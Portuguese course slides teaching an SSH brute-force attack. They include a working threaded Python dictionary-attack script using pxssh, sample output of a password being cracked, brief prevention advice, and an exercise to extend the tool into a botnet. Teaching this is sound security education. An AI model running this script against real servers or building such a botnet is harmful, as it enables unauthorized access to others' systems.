PenTest: Força Bruta para Login em SSH

Redes de Computadores

Charles Tim Batista Garrocho

Instituto Federal de Minas Gerais – IFMG
Campus Ouro Branco

garrocho.github.io

charles.garrocho@ifmg.edu.br

Sistemas de Informação

Entendendo o SSH: Secure Shell

Secure Shell (SSH) é um protocolo de rede criptográfico para operação de serviços de rede de forma segura sobre uma rede insegura. A melhor aplicação de exemplo conhecida é para login remoto a sistemas de computadores pelos usuários.

O SSH foi projetado como um substituto para protocolos de **shell remotos inseguros** como os protocolos rlogin, rsh e rexec. Estes protocolos enviam informações, como senhas, em texto puro, tornando-os suscetíveis à interceptação e divulgação usando análise de pacotes.

O SSH utiliza o modelo **cliente-servidor**.

Ele pode transferir arquivos usando os **protocolos** SSH File Transfer (SFTP) ou Secure Copy (SCP).

A **porta** TCP 22 tem sido usada para servidores SSH.

Força Bruta para Login em SSH – Contextualização

Um ataque de **Força Bruta SSH** ocorre quando alguém (humano ou robô) tenta acessar determinado serviço fazendo inúmeras requisições por segundo, tentando as mais diversas combinações de senhas e usuários.

Através do protocolo SSH é possível acessar e configurar todo o servidor. Imagine o **estrago** que um invasor poderia causar se obtivesse acesso ao login e senha do SSH.

Estes computadores com senhas quebradas são destinados a **sequestrar servidores e utilizá-los** sem que o administrador perceba.

Os fins são diversos, como ataques **flood**, espalhar **vírus** ou **espionagem**.

Força Bruta para Login em SSH – Contextualização

Antes de partir para a implementação, você deverá ter instalado o serviço do SSH em sua máquina. Assim, **instale** o SSH a partir da seguinte linha de comando:

```
tim@charles:~$ sudo apt-get install openssh-server
```

Após instalar o SSH, você deverá **iniciar** o serviço através da seguinte linha de comando:

```
tim@charles:~$ sudo /etc/init.d/ssh start
[ ok ] Starting ssh (via systemctl): ssh.service.
```

Com o serviço SSH instalado, já é possível se **conectar** a máquina.

Força Bruta para Login em SSH – Implementação

O script aceitará o nome do host, nome do usuário, e arquivo de dicionário.

```
19 def inicio():
20     analisador = optparse.OptionParser('use %prog '+\
21       '-H <host alvo> -u <usuario> -F <arquivo senhas>'
22                                       )
23     analisador.add_option('-H', dest='host', type='string',\
24       help='espqcifique o host alvo')
25     analisador.add_option('-F', dest='arq_senhas', type='string',\
26       help='especifique o arquivo de senhas')
27     analisador.add_option('-u', dest='usuario', type='string',\
28       help='especifique o nome do usuario')
29
30     (opcoes, args) = analisador.parse_args()
31     host = opcoes.host
32     arq_senhas = opcoes.arq_senhas
33     usuario = opcoes.usuario
```

Para isso, será utilizado a biblioteca **optparse** para analisar as opções de entrada.

Força Bruta para Login em SSH – Implementação

Aqui é realizado uma **análise** se os argumentos estão corretos. Se faltar algum argumento, o script é finalizado.

```
35      if host == None or arq_senhas == None or usuario == None:
36          print analisador.usage
37          exit(0)
38
39      fn = open(arq_senhas, 'r')
40      for linha in fn.readlines():
41          if encontrado:
42              print "[*] Saindo: senha encontrada"
43              exit(0)
44
45          senha = linha.strip('\r').strip('\n')
46          print "[-] Testando: " + str(senha)
47          t = Thread(target=conectar, args=(host, usuario, senha))
48          t.start()
```

Se tudo estiver correto, o arquivo de senhas é aberto e para cada nova senha é iniciado uma thread para tentar estabelecer uma conexão com a função **conectar**.

Força Bruta para Login em SSH – Implementação

A função **conectar** irá tentar estabelecer uma conexão com o host, usuário e senha definidos. Se bem sucessido, irá imprimir uma mensagem de senha encontrado, caso contrário, a thread será finalizada.

```
 8 def conectar(host, usuario, senha):
 9     global encontrado
10
11     try:
12         s = pxssh.pxssh()
13         s.login(host, usuario, senha)
14         print '[+] Senha encontrada: ' + senha
15         encontrado = True
16     except:
17         pass
```

A variável **encontrado** é utilizada para indiciar que a senha foi encontrada e que não é necessário iniciar novas threads.

Força Bruta para Login em SSH – Executando

Abaixo é apresentado a **saída** da execução do script de Força Bruta de Login em SSH.

```
tim@charles:~$ python quebrador_senha_ssh.py  -H garrocho -u fulano -F senhas.txt
[-] Testando: admin
[-] Testando: root
[-] Testando: toor
[-] Testando: password
[-] Testando: password1
[-] Testando: 12345
[-] Testando: 12345678
[+] Senha encontrada: 12345678
tim@charles:~$
```

As **portas** do SSH são configuradas em arquivos de cliente e servidor.

Cliente: **/etc/ssh/ssh_config**

Servidor: **/etc/ssh/sshd_config**

Como se Previnir de Ataques de Força Bruta SSH

Os ataques de força bruta SSH estão aqui para ficar. Enquanto as pessoas usarem **senhas fracas**, os bandidos tentarão penetrar.

Não só para simples acesso SSH, mas muitas vezes para **expandir o ataque** reutilizando a senha para acesso via FTP ou para painéis de administração (Plesk, WordPress, Joomla, cPanel, etc.).

Quanto à proteção do seu site contra ataques de força bruta, certifique-se de usar senhas fortes e boas. Também recomendamos **whitelisting** para quais endereços IP podem fazer login no servidor e bloquear todos os outros.

Para uma medida reativa, recomendamos usar **OSSEC (IDS de fonte aberta)** para bloquear esses ataques, se você não puder usar a whitelisting.

Atividades

Agora que demonstramos que podemos controlar um host via SSH, vamos expandi-lo para controlar vários hosts simultaneamente.

Os atacantes geralmente usam coleções de computadores comprometidos para fins maliciosos. Nós chamamos isso de botnet porque os computadores comprometidos atuam como bots para executar instruções.

Para construir nossa botnet, você terá que utilizar o conceito de classe. Neste sistema, instanciamos objetos individuais com métodos associados.

Para a nossa botnet, cada bot ou cliente individual exigirá a capacidade de se conectar e emitir um comando (use o **eject**).